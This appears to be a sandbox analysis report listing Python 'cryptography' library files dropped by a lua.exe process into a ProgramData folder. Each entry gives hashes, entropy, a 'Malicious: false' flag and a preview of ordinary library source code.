Preview:	# This file is dual licensed under the terms of the Apache License, Version.# 2.0, and the BSD License. See the LICENSE file in the root of this repository.# for complete details...from __future__ import absolute_import, division, print_function..import abc..import six..from cryptography import utils.from cryptography.exceptions import (. AlreadyFinalized,. UnsupportedAlgorithm,. _Reasons,.).from cryptography.hazmat.backends import _get_backend.from cryptography.hazmat.backends.interfaces import HashBackend...@six.add_metaclass(abc.ABCMeta).class HashAlgorithm(object):. @abc.abstractproperty. def name(self):. """. A string naming this algorithm (e.g. "sha256", "md5").. """.. @abc.abstractproperty. def digest_size(self):. """. The size of the resulting digest in bytes.. """...@six.add_metaclass(abc.ABCMeta).class HashContext(object):. @abc.abstractproperty. def algorithm(self):. """. A HashAlgorithm that

C:\ProgramData\ShellExperienceHost\Lib\site-packages\cryptography\hazmat\primitives\hmac.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	2306
Entropy (8bit):	4.590148749491882
Encrypted:	false
SSDEEP:	48:IDoW25Q5gOUkC+HeGCiPDGGRJXu5XidnX/dwKcZhXmA:FZ5pOU8DXu5XidnX1wPPXf
MD5:	D8D673FE1B6FEFE4E66CB51F394D7124
SHA1:	06AC4348037CDED08491DA59202745EDF48CA9A7
SHA-256:	018CD340C0E2AEE2A664A28B47A71E5635F9C90DE6A5C896231FFFB6934BCABE
SHA-512:	B44584BEACF4266CC81E425BED1088001B5E8E8E207D30CCBFDC628CF18C00E6716CB2AFCA5EF9B6BEFC2194F791466BA52D74DA40E0F18D8087FC052D48CCEF
Malicious:	false
Preview:	# This file is dual licensed under the terms of the Apache License, Version.# 2.0, and the BSD License. See the LICENSE file in the root of this repository.# for complete details...from __future__ import absolute_import, division, print_function..from cryptography import utils.from cryptography.exceptions import (. AlreadyFinalized,. UnsupportedAlgorithm,. _Reasons,.).from cryptography.hazmat.backends import _get_backend.from cryptography.hazmat.backends.interfaces import HMACBackend.from cryptography.hazmat.primitives import hashes...@utils.register_interface(hashes.HashContext).class HMAC(object):. def __init__(self, key, algorithm, backend=None, ctx=None):. backend = _get_backend(backend). if not isinstance(backend, HMACBackend):. raise UnsupportedAlgorithm(. "Backend object does not implement HMACBackend.",. _Reasons.BACKEND_MISSING_INTERFACE,. ).. if not isinstance(algorithm, hashes.HashAlgorithm)

C:\ProgramData\ShellExperienceHost\Lib\site-packages\cryptography\hazmat\primitives\kdf\__init__.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	771
Entropy (8bit):	4.535547887700402
Encrypted:	false
SSDEEP:	12:qD+6O0vgEVhO17yDjCy5Jpt8cGuuST5NXdlDro062rUqwWmDEE8HMB5z:q9O0opQ24tTuS17d+2ruIDHMB5
MD5:	384D290A58C1024ED6A0C2784A164EF9
SHA1:	32F35983D2DD9599BC6CCA225FEE44DD76286552
SHA-256:	9E87791E33ECC2366BF30169E93B2EE9E9FD6E51D8177921817239474CC87273
SHA-512:	ECF1951C1EBAB09CB03B858B1878E151DD891BB7159467465E31CBAE9970878763014D200664F3D7122E342F400DB1DCB6CACED68AB3DBF93D7BF8FAFF30B302
Malicious:	false
Preview:	# This file is dual licensed under the terms of the Apache License, Version.# 2.0, and the BSD License. See the LICENSE file in the root of this repository.# for complete details...from __future__ import absolute_import, division, print_function..import abc..import six...@six.add_metaclass(abc.ABCMeta).class KeyDerivationFunction(object):. @abc.abstractmethod. def derive(self, key_material):. """. Deterministically generates and returns a new key based on the existing. key material.. """.. @abc.abstractmethod. def verify(self, key_material, expected_key):. """. Checks whether the key generated by the key material matches the. expected derived key. Raises an exception if they do not match.. """.

C:\ProgramData\ShellExperienceHost\Lib\site-packages\cryptography\hazmat\primitives\kdf\concatkdf.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	4095
Entropy (8bit):	4.644635264753485
Encrypted:	false
SSDEEP:	48:IDoWW5E5JS9PKa7JUQ1iBHQw7LE2LM9t2UX6C+Qefw/l2NKn2Ldpt2UXgC+Heowk:FH5V9l3ABFLE994UUyl3wp4U4cls
MD5:	53C5F1E745C61594E2266E1693C4AFEF
SHA1:	BCDB294BED3D050A5F49F270509271035D1C1D02
SHA-256:	816FB1014EAC3C4E9A66183F1BDB9C6796FFB9CB526CF71F4A91F2CADED0F0C0
SHA-512:	059FD26BF9F50D37937D66AC68EEFAC9B16511F3523A63F4C931A176FB937C290E0D4BC90577C395742C84D16400DCB06E12F9C483731B763D8F2FF52B44C2A9
Malicious:	false
Preview:	# This file is dual licensed under the terms of the Apache License, Version.# 2.0, and the BSD License. See the LICENSE file in the root of this repository.# for complete details...from __future__ import absolute_import, division, print_function..import struct..from cryptography import utils.from cryptography.exceptions import (. AlreadyFinalized,. InvalidKey,. UnsupportedAlgorithm,. _Reasons,.).from cryptography.hazmat.backends import _get_backend.from cryptography.hazmat.backends.interfaces import HMACBackend.from cryptography.hazmat.backends.interfaces import HashBackend.from cryptography.hazmat.primitives import constant_time, hashes, hmac.from cryptography.hazmat.primitives.kdf import KeyDerivationFunction...def _int_to_u32be(n):. return struct.pack(">I", n)...def _common_args_checks(algorithm, length, otherinfo):. max_length = algorithm.digest_size * (2 ** 32 - 1). if length > max_length:. raise ValueError(. "Can not derive keys larger than

C:\ProgramData\ShellExperienceHost\Lib\site-packages\cryptography\hazmat\primitives\kdf\hkdf.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	3598
Entropy (8bit):	4.657928434491192
Encrypted:	false
SSDEEP:	48:IDoWYg5E5WSA2LygqXkC+HeoxXpVe7Kn2LO9VXkC+HeaqtLpOsd0QKp:FG5FNxXUtpkQNVXW00Z
MD5:	9BA59CAA0E97B7EC2C35D83D4AA0BE2B
SHA1:	AE464D03519C54B700B70E4910A2772F92E85730
SHA-256:	489250CDE43D387D2DDED51D52AD864FA2105EFF683CB0E3BA54FBC272D390C8
SHA-512:	E148E7E20A0E7711BD12594B3C503421DA56C08F7ABEBDAD8059E352012AE48C4648D70BD60ABEFA4032F5AB8D733754D34F96DE0D13008D6E082827130FFBB5
Malicious:	false
Preview:	# This file is dual licensed under the terms of the Apache License, Version.# 2.0, and the BSD License. See the LICENSE file in the root of this repository.# for complete details...from __future__ import absolute_import, division, print_function..import six..from cryptography import utils.from cryptography.exceptions import (. AlreadyFinalized,. InvalidKey,. UnsupportedAlgorithm,. _Reasons,.).from cryptography.hazmat.backends import _get_backend.from cryptography.hazmat.backends.interfaces import HMACBackend.from cryptography.hazmat.primitives import constant_time, hmac.from cryptography.hazmat.primitives.kdf import KeyDerivationFunction...@utils.register_interface(KeyDerivationFunction).class HKDF(object):. def __init__(self, algorithm, length, salt, info, backend=None):. backend = _get_backend(backend). if not isinstance(backend, HMACBackend):. raise UnsupportedAlgorithm(. "Backend object does not implement HMACBackend.",.

C:\ProgramData\ShellExperienceHost\Lib\site-packages\cryptography\hazmat\primitives\kdf\kbkdf.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	5100
Entropy (8bit):	4.51262999617363
Encrypted:	false
SSDEEP:	48:IDoWPJ5E5WShpwhi2LCWsC+HeGCiGGK34/xKC7EJC+fgvAJZrlaClI22LC8Gwb3Y:Fa5utFEpFObpI72Gd
MD5:	2BBDBA3985FF2D3D7019DD6CE79C9CB4
SHA1:	99F1AFFFEDCC6AC0E9A3A88FC52CDF9391533181
SHA-256:	6B07FBCDEB2C4FE6A6A24A765417725BC4D6AC39E64D71B31C75F8B1C04EF547
SHA-512:	BC736E1CFA94C1F5EEE6D645D5582E50996CBA5CC74B847E2C2810B1CFBB8F5B6997429F2936EC23650B55BEB5C4E5B9EE1F54CF58B66A4E24C36C727DD22C05
Malicious:	false
Preview:	# This file is dual licensed under the terms of the Apache License, Version.# 2.0, and the BSD License. See the LICENSE file in the root of this repository.# for complete details...from __future__ import absolute_import, division, print_function..from enum import Enum..from six.moves import range..from cryptography import utils.from cryptography.exceptions import (. AlreadyFinalized,. InvalidKey,. UnsupportedAlgorithm,. _Reasons,.).from cryptography.hazmat.backends import _get_backend.from cryptography.hazmat.backends.interfaces import HMACBackend.from cryptography.hazmat.primitives import constant_time, hashes, hmac.from cryptography.hazmat.primitives.kdf import KeyDerivationFunction...class Mode(Enum):. CounterMode = "ctr"...class CounterLocation(Enum):. BeforeFixed = "before_fixed". AfterFixed = "after_fixed"...@utils.register_interface(KeyDerivationFunction).class KBKDFHMAC(object):. def __init__(. self,. algorithm,. mode,. length

C:\ProgramData\ShellExperienceHost\Lib\site-packages\cryptography\hazmat\primitives\kdf\pbkdf2.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	2220
Entropy (8bit):	4.640655115285636
Encrypted:	false
SSDEEP:	48:IDoW25E58SA2LhdvkC+Oed/p4/8n+W02zLGwyjQszg:FZ53udvvW02zNyjQv
MD5:	85B451BD0A2CB4CED553340B87604A80
SHA1:	3DC751E49916F1CDCF18F4C87B2010E405DFFFFC
SHA-256:	4587B12251A89B350453EFD04174D6F35ADD639615641DF45EB7E726AF0DB085
SHA-512:	09EBAD8FCEB2AFC705472E7C93DD249676610840028DA6209FD27E84B59F4AD5942DAF0496AFDF5FF592ACA8C1B7389237924B8297ACEF8B0F6B09EFA2D4D6EE
Malicious:	false
Preview:	# This file is dual licensed under the terms of the Apache License, Version.# 2.0, and the BSD License. See the LICENSE file in the root of this repository.# for complete details...from __future__ import absolute_import, division, print_function..from cryptography import utils.from cryptography.exceptions import (. AlreadyFinalized,. InvalidKey,. UnsupportedAlgorithm,. _Reasons,.).from cryptography.hazmat.backends import _get_backend.from cryptography.hazmat.backends.interfaces import PBKDF2HMACBackend.from cryptography.hazmat.primitives import constant_time.from cryptography.hazmat.primitives.kdf import KeyDerivationFunction...@utils.register_interface(KeyDerivationFunction).class PBKDF2HMAC(object):. def __init__(self, algorithm, length, salt, iterations, backend=None):. backend = _get_backend(backend). if not isinstance(backend, PBKDF2HMACBackend):. raise UnsupportedAlgorithm(. "Backend object does not implement PBKDF2HMACBacken

C:\ProgramData\ShellExperienceHost\Lib\site-packages\cryptography\hazmat\primitives\kdf\scrypt.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	2268
Entropy (8bit):	4.646117986217263
Encrypted:	false
SSDEEP:	48:IDoWIn5E51xSPW2LamkC+TzeAdk+MhGzlGwyMANrzg:Fhn5i1Vm8hdVXzfyMd
MD5:	34A14ACC283893E2F13006CC1474FB04
SHA1:	394ECE0CD6C38EA01B86C7C6D8FEE2F64780A062
SHA-256:	0B40B79BE8049E52E5015C73445773C7599F0EE5ACFC19190E8495DA17DA85F9
SHA-512:	24E6A403184FE4D8B0046A1796F27350CA169C93B13FDC2F36AFB96CBE48F4CA001EBD584DC7655646DA1A6D2166EE86FFE4884576986BD518305DCCEBF11A36
Malicious:	false
Preview:	# This file is dual licensed under the terms of the Apache License, Version.# 2.0, and the BSD License. See the LICENSE file in the root of this repository.# for complete details...from __future__ import absolute_import, division, print_function..import sys..from cryptography import utils.from cryptography.exceptions import (. AlreadyFinalized,. InvalidKey,. UnsupportedAlgorithm,. _Reasons,.).from cryptography.hazmat.backends import _get_backend.from cryptography.hazmat.backends.interfaces import ScryptBackend.from cryptography.hazmat.primitives import constant_time.from cryptography.hazmat.primitives.kdf import KeyDerivationFunction...# This is used by the scrypt tests to skip tests that require more memory.# than the MEM_LIMIT._MEM_LIMIT = sys.maxsize // 2...@utils.register_interface(KeyDerivationFunction).class Scrypt(object):. def __init__(self, salt, length, n, r, p, backend=None):. backend = _get_backend(backend). if not isinstance(backend, ScryptBack

C:\ProgramData\ShellExperienceHost\Lib\site-packages\cryptography\hazmat\primitives\kdf\x963kdf.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	2407
Entropy (8bit):	4.630768306087133
Encrypted:	false
SSDEEP:	48:IDoWW5E52S9a2LurWh2JSvC+QefwKKlIAYjn4Kp:FH5+apWVdKU
MD5:	EC3A967A96F211B613C93400F78344B5
SHA1:	048B6DF06ECE8947432FE30D0F054E5361B8D81C
SHA-256:	DBAF9BFDC9325188AA6D633D999EC51166EEBD1EDE4CB92C21E590796D53274E
SHA-512:	E508487A52BAE0B363E1AC233E1615101FC0A2A1E5F1031F182E48AC55E9E67749746807C5C827FD058B02B254C6B57E6951D4B1FA9F986E7186B0F7740005EB
Malicious:	false
Preview:	# This file is dual licensed under the terms of the Apache License, Version.# 2.0, and the BSD License. See the LICENSE file in the root of this repository.# for complete details...from __future__ import absolute_import, division, print_function..import struct..from cryptography import utils.from cryptography.exceptions import (. AlreadyFinalized,. InvalidKey,. UnsupportedAlgorithm,. _Reasons,.).from cryptography.hazmat.backends import _get_backend.from cryptography.hazmat.backends.interfaces import HashBackend.from cryptography.hazmat.primitives import constant_time, hashes.from cryptography.hazmat.primitives.kdf import KeyDerivationFunction...def _int_to_u32be(n):. return struct.pack(">I", n)...@utils.register_interface(KeyDerivationFunction).class X963KDF(object):. def __init__(self, algorithm, length, sharedinfo, backend=None):. backend = _get_backend(backend).. max_len = algorithm.digest_size * (2 ** 32 - 1). if length > max_len:.

C:\ProgramData\ShellExperienceHost\Lib\site-packages\cryptography\hazmat\primitives\keywrap.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	5730
Entropy (8bit):	4.784227351430539
Encrypted:	false
SSDEEP:	96:F780IID0zn5ihR3B7jrXzn7b0Ap9OY1WlPbiSg8c:FWgQwR3B7jr/oUOYklzg8c
MD5:	58F435E7B4017A4B557F308F9C229550
SHA1:	C56BD3535AA15C38E9AA7F33CAD3D3EDE7604790
SHA-256:	7C5F87039113CFD447F2CF0B07DE2E0E85912CFBF03E46000B9FCACA57A3EAC0
SHA-512:	28B412C304F9A1F51DEB4410A6FB142DEF75D6CC09157DD114F7A80441D71E204809E6670E2CB17E8D9299FB1842D10CE1A87C35F45A4B98760F0A4BDEEAFFB7
Malicious:	false
Preview:	# This file is dual licensed under the terms of the Apache License, Version.# 2.0, and the BSD License. See the LICENSE file in the root of this repository.# for complete details...from __future__ import absolute_import, division, print_function..import struct..from cryptography.hazmat.backends import _get_backend.from cryptography.hazmat.primitives.ciphers import Cipher.from cryptography.hazmat.primitives.ciphers.algorithms import AES.from cryptography.hazmat.primitives.ciphers.modes import ECB.from cryptography.hazmat.primitives.constant_time import bytes_eq...def _wrap_core(wrapping_key, a, r, backend):. # RFC 3394 Key Wrap - 2.2.1 (index method). encryptor = Cipher(AES(wrapping_key), ECB(), backend).encryptor(). n = len(r). for j in range(6):. for i in range(n):. # every encryption operation is a discrete 16 byte chunk (because. # AES has a 128-bit block size) and since we're using ECB it is. # safe to reuse the encryptor for the

C:\ProgramData\ShellExperienceHost\Lib\site-packages\cryptography\hazmat\primitives\padding.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	6173
Entropy (8bit):	4.716902930572581
Encrypted:	false
SSDEEP:	192:F9nQ5XTkljZaX2l5XTHljZTX5qhsTR0hsP:Fuk+hG0+
MD5:	9F794E3808905A7547E29E5D90933025
SHA1:	C2E8204C5253D2D5E1DE296E1639B87790A0B5C1
SHA-256:	CDE2668CF7D7F02C7F82A3B8E450C135EF22376B6B3EBD142F206CCF52A6CAEE
SHA-512:	468C4EDABB99EB0F28AF30FB090DE1A4EC0CF4CD196871D05B4AB15A999CF6B8B518F26C5DEC28647AA5DF3F0560DE5A658956C5862C8BC406F363E9E8222BE7
Malicious:	false
Preview:	# This file is dual licensed under the terms of the Apache License, Version.# 2.0, and the BSD License. See the LICENSE file in the root of this repository.# for complete details...from __future__ import absolute_import, division, print_function..import abc..import six..from cryptography import utils.from cryptography.exceptions import AlreadyFinalized.from cryptography.hazmat.bindings._padding import lib...@six.add_metaclass(abc.ABCMeta).class PaddingContext(object):. @abc.abstractmethod. def update(self, data):. """. Pads the provided bytes and returns any available data as bytes.. """.. @abc.abstractmethod. def finalize(self):. """. Finalize the padding, returns bytes.. """...def _byte_padding_check(block_size):. if not (0 <= block_size <= 2040):. raise ValueError("block_size must be in range(0, 2041).").. if block_size % 8 != 0:. raise ValueError("block_size must be a multiple of 8.")...def _byte_padding_upda

C:\ProgramData\ShellExperienceHost\Lib\site-packages\cryptography\hazmat\primitives\poly1305.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	1679
Entropy (8bit):	4.606428986724137
Encrypted:	false
SSDEEP:	24:q9O0opQ24kRrQ5pYAr6gorEvoNQHlyScKQw1VNyScKxdbM/SFOyScmpglek+:IDoWm5Q5pYIT0QMXucX2dwKlXmK+
MD5:	11F937619B9AD0C79E87C170E5777853
SHA1:	AE11E9771C21907D45464446968272919391FBCD
SHA-256:	34D0B5598898406349F266E591A1D1C419B53CB75A291CE420BA1CB181F9CE06
SHA-512:	9A5E34E4259182DD21789307F8EA301F6719DC44FA4943E8C7B132C9E2F6270EF26469B8788EC65CE21EB82376F774C03031A344B066EAD82CAEF6E1AFF83356
Malicious:	false
Preview:	# This file is dual licensed under the terms of the Apache License, Version.# 2.0, and the BSD License. See the LICENSE file in the root of this repository.# for complete details...from __future__ import absolute_import, division, print_function...from cryptography import utils.from cryptography.exceptions import (. AlreadyFinalized,. UnsupportedAlgorithm,. _Reasons,.)...class Poly1305(object):. def __init__(self, key):. from cryptography.hazmat.backends.openssl.backend import backend.. if not backend.poly1305_supported():. raise UnsupportedAlgorithm(. "poly1305 is not supported by this version of OpenSSL.",. _Reasons.UNSUPPORTED_MAC,. ). self._ctx = backend.create_poly1305_ctx(key).. def update(self, data):. if self._ctx is None:. raise AlreadyFinalized("Context was already finalized."). utils._check_byteslike("data", data). self._ctx.update(data).. def finalize(s

C:\ProgramData\ShellExperienceHost\Lib\site-packages\cryptography\hazmat\primitives\serialization\__init__.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	1132
Entropy (8bit):	4.670812625173775
Encrypted:	false
SSDEEP:	24:q9O0opQ2C6wQSqXbb5TlBWbGjbad0uMSiQDkWS8zSA/McwiqJ:IDoWd6GqhDEADS/HZW
MD5:	06967D5A655B7E694501FF268C783E62
SHA1:	81B8320B1728B435F8A7DEE2A83815FA97BE11E7
SHA-256:	78BCE6AA81E05653CAD5A4C68847E9688AD47FD997E4F46B33B20711CF057905
SHA-512:	A5F9B4AC2954E8EC9CCCE8F3869021B9B9AF8D1E173226DACFC1C0BE2D62A431E4E2549853A2969ACEFB4A581895C7449009B67148A8A75BF847F473935508B2
Malicious:	false
Preview:	# This file is dual licensed under the terms of the Apache License, Version.# 2.0, and the BSD License. See the LICENSE file in the root of this repository.# for complete details...from __future__ import absolute_import, division, print_function..from cryptography.hazmat.primitives.serialization.base import (. BestAvailableEncryption,. Encoding,. KeySerializationEncryption,. NoEncryption,. ParameterFormat,. PrivateFormat,. PublicFormat,. load_der_parameters,. load_der_private_key,. load_der_public_key,. load_pem_parameters,. load_pem_private_key,. load_pem_public_key,.).from cryptography.hazmat.primitives.serialization.ssh import (. load_ssh_private_key,. load_ssh_public_key,.)...__all__ = [. "load_der_parameters",. "load_der_private_key",. "load_der_public_key",. "load_pem_parameters",. "load_pem_private_key",. "load_pem_public_key",. "load_ssh_private_key",. "load_ssh_public_key",. "Encoding",. "PrivateFormat"

C:\ProgramData\ShellExperienceHost\Lib\site-packages\cryptography\hazmat\primitives\serialization\base.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	2249
Entropy (8bit):	4.987273599813399
Encrypted:	false
SSDEEP:	48:IDoW5W1guR4kI4z4T4J74ig45tC0cGxSM0dCWXO3FCcXy7ngO:FOE4n4z4T4J74ig45wsSMwTX0byrgO
MD5:	C3AE40F32AFAF6DA0B0B578854E5C31F
SHA1:	C410BFAA402405065A3927907023D368938DFB69
SHA-256:	652CD5FB9CE5D81B7F9A68A170FAA27810BA523312AF251A7A1804C6F8D992C8
SHA-512:	4026504BBDC100E43072B60A1D91981A751D8066528504089392E88778241D740D51E00D1A738157F84383471B4806447E8A2AB5F4F1B271618AA85446EA2E49
Malicious:	false
Preview:	# This file is dual licensed under the terms of the Apache License, Version.# 2.0, and the BSD License. See the LICENSE file in the root of this repository.# for complete details...from __future__ import absolute_import, division, print_function..import abc.from enum import Enum..import six..from cryptography import utils.from cryptography.hazmat.backends import _get_backend...def load_pem_private_key(data, password, backend=None):. backend = _get_backend(backend). return backend.load_pem_private_key(data, password)...def load_pem_public_key(data, backend=None):. backend = _get_backend(backend). return backend.load_pem_public_key(data)...def load_pem_parameters(data, backend=None):. backend = _get_backend(backend). return backend.load_pem_parameters(data)...def load_der_private_key(data, password, backend=None):. backend = _get_backend(backend). return backend.load_der_private_key(data, password)...def load_der_public_key(data, backend=None):. backend = _get_

C:\ProgramData\ShellExperienceHost\Lib\site-packages\cryptography\hazmat\primitives\serialization\pkcs12.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	1853
Entropy (8bit):	4.593048185125155
Encrypted:	false
SSDEEP:	48:IDoWk4V1hhIfNc+/60aNA7IDcXCBMczGkjcsU:Fb4VuD6vDmsU
MD5:	B2838145BECFB6A6E9D507CB54AFC8B2
SHA1:	B4379E068D9C45A78A16E9381346E46A0362ED21
SHA-256:	A09C5A9E002D492B278977E0B8B6A83E07A355C86CF95A424C1756496E2B179E
SHA-512:	FDA8EB26A6C02792A23CE8CFE9CF51F6F5318F1FBBD028D8AA47A1BCD139DF478F92064FD1DA2DD3173E8F50435745A901D3A1E3333DBEFC2F3EB25C1AD95575
Malicious:	false
Preview:	# This file is dual licensed under the terms of the Apache License, Version.# 2.0, and the BSD License. See the LICENSE file in the root of this repository.# for complete details...from __future__ import absolute_import, division, print_function..from cryptography import x509.from cryptography.hazmat.backends import _get_backend.from cryptography.hazmat.primitives import serialization.from cryptography.hazmat.primitives.asymmetric import dsa, ec, rsa...def load_key_and_certificates(data, password, backend=None):. backend = _get_backend(backend). return backend.load_key_and_certificates_from_pkcs12(data, password)...def serialize_key_and_certificates(name, key, cert, cas, encryption_algorithm):. if key is not None and not isinstance(. key,. (. rsa.RSAPrivateKeyWithSerialization,. dsa.DSAPrivateKeyWithSerialization,. ec.EllipticCurvePrivateKeyWithSerialization,. ),. ):. raise TypeError("Key must be RSA, DSA, or Elli

C:\ProgramData\ShellExperienceHost\Lib\site-packages\cryptography\hazmat\primitives\serialization\pkcs7.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	4625
Entropy (8bit):	4.509198975141802
Encrypted:	false
SSDEEP:	48:IDoWPYN7NufHZxOSgYClBsTrCQ6Ea8JCpqhsAVrb9aCQ6Ea8Xm3Pd7q4Xyx5t82o:FLN7QfHZb64yqzVdw64Xm3Nyxg2FC7C+
MD5:	B88815C85E6BC070D012AF0649B032D3
SHA1:	EA5E5D6AE19B388F1E55096189B5E66F21EF24A8
SHA-256:	BC6970FF647855E2D6B6847191FCFC7CC2C4E62FC209D698F5B12D60C57ADAB9
SHA-512:	2A1C6AD753F45EE2CAF9C52F6F9CF3C4F96F25ED426239E91F20E52AD08D73C987A97D1177F9F8DE9762B2044878E5D4A008196BE277663498300B4FFA60F176
Malicious:	false
Preview:	# This file is dual licensed under the terms of the Apache License, Version.# 2.0, and the BSD License. See the LICENSE file in the root of this repository.# for complete details...from __future__ import absolute_import, division, print_function..from enum import Enum..from cryptography import x509.from cryptography.hazmat.backends import _get_backend.from cryptography.hazmat.primitives import hashes, serialization.from cryptography.hazmat.primitives.asymmetric import ec, rsa.from cryptography.utils import _check_byteslike...def load_pem_pkcs7_certificates(data):. backend = _get_backend(None). return backend.load_pem_pkcs7_certificates(data)...def load_der_pkcs7_certificates(data):. backend = _get_backend(None). return backend.load_der_pkcs7_certificates(data)...class PKCS7SignatureBuilder(object):. def __init__(self, data=None, signers=[], additional_certs=[]):. self._data = data. self._signers = signers. self._additional_certs = additional_certs..

C:\ProgramData\ShellExperienceHost\Lib\site-packages\cryptography\hazmat\primitives\serialization\ssh.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	21682
Entropy (8bit):	4.875548265216809
Encrypted:	false
SSDEEP:	384:FYzSwD/6RYpSWi5xmy1+tl3+0yHmqizUcjUoSVphd1T:Cz/z6RYpSW8If+0yGnrjUPVphjT
MD5:	AB1B83821E3EC259DB3A10064B905C60
SHA1:	1958AF1B96E35A0A5FDD48E792CE00A1AF676BC4
SHA-256:	6BF14A5AEAA91CEF91CD4044A01592E6AED6C8C6704B9E8C0FDD96AFA8F72810
SHA-512:	84B0BB07981CE89AF004451F79C6AC2244D04389C2DB83E6015900722F7E9B4341DCE4B76D7B1AC7AEB2EB603E094907FAA5F2FB3C64944D2EA73C532FC0B76F
Malicious:	false
Preview:	# This file is dual licensed under the terms of the Apache License, Version.# 2.0, and the BSD License. See the LICENSE file in the root of this repository.# for complete details...from __future__ import absolute_import, division, print_function..import binascii.import os.import re.import struct..import six..from cryptography import utils.from cryptography.exceptions import UnsupportedAlgorithm.from cryptography.hazmat.backends import _get_backend.from cryptography.hazmat.primitives.asymmetric import dsa, ec, ed25519, rsa.from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes.from cryptography.hazmat.primitives.serialization import (. Encoding,. NoEncryption,. PrivateFormat,. PublicFormat,.)..try:. from bcrypt import kdf as _bcrypt_kdf.. _bcrypt_supported = True.except ImportError:. _bcrypt_supported = False.. def _bcrypt_kdf(args, *kwargs):. raise UnsupportedAlgorithm("Need bcrypt module")...try:. from base64 import encodebytes

C:\ProgramData\ShellExperienceHost\Lib\site-packages\cryptography\hazmat\primitives\twofactor\__init__.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	288
Entropy (8bit):	4.620403958577522
Encrypted:	false
SSDEEP:	6:SbFpbtcMi6O0vgad8pq/ZOwA9lJuzDMABCR1SX5qVVKNo:qD+6O0vgEVhO17yDjCy5gMi
MD5:	40BEDEA5ED7DA1EC6E059A576F6897DB
SHA1:	3CA281A327665C306651682860D7491852555727
SHA-256:	056AE6DC3283A006B6F3513B53F9F3CFCBF8E0E9808979A523270572C7A1C1F1
SHA-512:	8C1947C8296FFE5B5C7E7602B47EE7F8E170B499216EB76CDBDCF24E7C8877B5A4A66E9987BD2AAF7C3B63B82F506C591B4946A272128C47E1A82872357B4E2C
Malicious:	false
Preview:	# This file is dual licensed under the terms of the Apache License, Version.# 2.0, and the BSD License. See the LICENSE file in the root of this repository.# for complete details...from __future__ import absolute_import, division, print_function...class InvalidToken(Exception):. pass.

C:\ProgramData\ShellExperienceHost\Lib\site-packages\cryptography\hazmat\primitives\twofactor\hotp.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	2679
Entropy (8bit):	4.8325951214494145
Encrypted:	false
SSDEEP:	48:IDoW434sC+HeTzCOPniGCiTUFoIKX/OjIQq:FbFfjIN
MD5:	4BDA688EA5A298D028E7AC6E5099F238
SHA1:	10B542A423BCC2093E869A1B0CFD7314EBCC5D45
SHA-256:	DAE0930931CC16658BF643A303CF74174095AE58ECBCE8C960848A06EA7B1B22
SHA-512:	E2621D8EEE75C7A7581FF6D6A736CBCF05A5FDCA9969E7A65950B2423132C3609FA03A116B914EEF012CA645A1029A2B3BCFFD69289187C586AAB96EA30A475A
Malicious:	false
Preview:	# This file is dual licensed under the terms of the Apache License, Version.# 2.0, and the BSD License. See the LICENSE file in the root of this repository.# for complete details...from __future__ import absolute_import, division, print_function..import struct..import six..from cryptography.exceptions import UnsupportedAlgorithm, _Reasons.from cryptography.hazmat.backends import _get_backend.from cryptography.hazmat.backends.interfaces import HMACBackend.from cryptography.hazmat.primitives import constant_time, hmac.from cryptography.hazmat.primitives.hashes import SHA1, SHA256, SHA512.from cryptography.hazmat.primitives.twofactor import InvalidToken.from cryptography.hazmat.primitives.twofactor.utils import _generate_uri...class HOTP(object):. def __init__(. self, key, length, algorithm, backend=None, enforce_key_length=True. ):. backend = _get_backend(backend). if not isinstance(backend, HMACBackend):. raise UnsupportedAlgorithm(.

C:\ProgramData\ShellExperienceHost\Lib\site-packages\cryptography\hazmat\primitives\twofactor\totp.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	1780
Entropy (8bit):	4.6340789498389565
Encrypted:	false
SSDEEP:	24:q9O0opQ2LGAKu6jkCXEl+ZC+VEEv2/NgyTLeTjNaeFXF4pQqyZ/t:IDoWE04sC+HeiyTqT5aKapQqyZ/t
MD5:	48EA1DBC6BA8369180F74C9F5EE85A83
SHA1:	F212E3226D14CA489E95D97E7584F364F590E039
SHA-256:	889453C4F3563DDB1340778F81213A286751354453BF5F3C54DAA9CAF070BC16
SHA-512:	E193A1F7D96A3D9072EED1B1F981E6BC7EEA681B98DDE7DD1BE59D097DBEAAAD96C243DE41177A7F11315840DC487D8948269956A93F4751E2748EFDC071A16E
Malicious:	false
